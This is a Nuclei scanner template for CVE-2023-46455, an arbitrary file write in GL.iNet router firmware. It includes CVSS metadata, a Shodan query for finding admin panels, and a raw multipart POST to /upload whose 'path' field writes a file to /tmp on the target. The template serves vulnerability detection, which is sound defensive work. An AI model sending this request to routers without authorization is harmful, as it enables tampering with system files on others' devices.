漏洞描述
GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files.
id: CVE-2023-46455
info:
name: GL.iNet <= 4.3.7 - Arbitrary File Write
author: Zierax
severity: high
description: |
GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files.
reference:
- https://github.com/cyberaz0r/GL.iNet-Multiple-Vulnerabilities/blob/main/CVE-2023-46455.py
- https://nvd.nist.gov/vuln/detail/CVE-2023-46455
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2023-46455
cwe-id: CWE-22
epss-score: 0.50891
epss-percentile: 0.97732
cpe: cpe:2.3:o:gl-inet:gl-ar300m_firmware:4.3.7:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gl-inet
product: gl-ar300m_firmware
shodan-query: title:"GL.iNet Admin Panel"
tags: cve,cve2023,gl-net,file-upload,intrusive,vuln
variables:
string: "{{to_lower(rand_text_alpha(5))}}"
file: "{{to_lower(rand_text_alpha(4))}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "GL.iNet"
internal: true
case-insensitive: true
- raw:
- |
POST /upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
X-Requested-With: XMLHttpRequest
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="sid"
{{auth_token}}
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="size"
4
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="path"
/tmp/{{string}}
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="file"; filename="{{file}}"
Content-Type: application/octet-stream
{{string}}
-----------------------------81419250823331111993422505835--
matchers-condition: and
matchers:
- type: word
part: body
words:
- "File uploaded successfully"
- type: status
status:
- 200
# digest: 4a0a004730450221008cd89e682454da88e1e42c2a052c839620f786c96b84f9180d0ba7bee8c678ae022013b96331802d70b7fdd2427550e1d9de7c286e13b8e43579e590eafbd31a6437:922c64590222798bb761d5b6d8e72950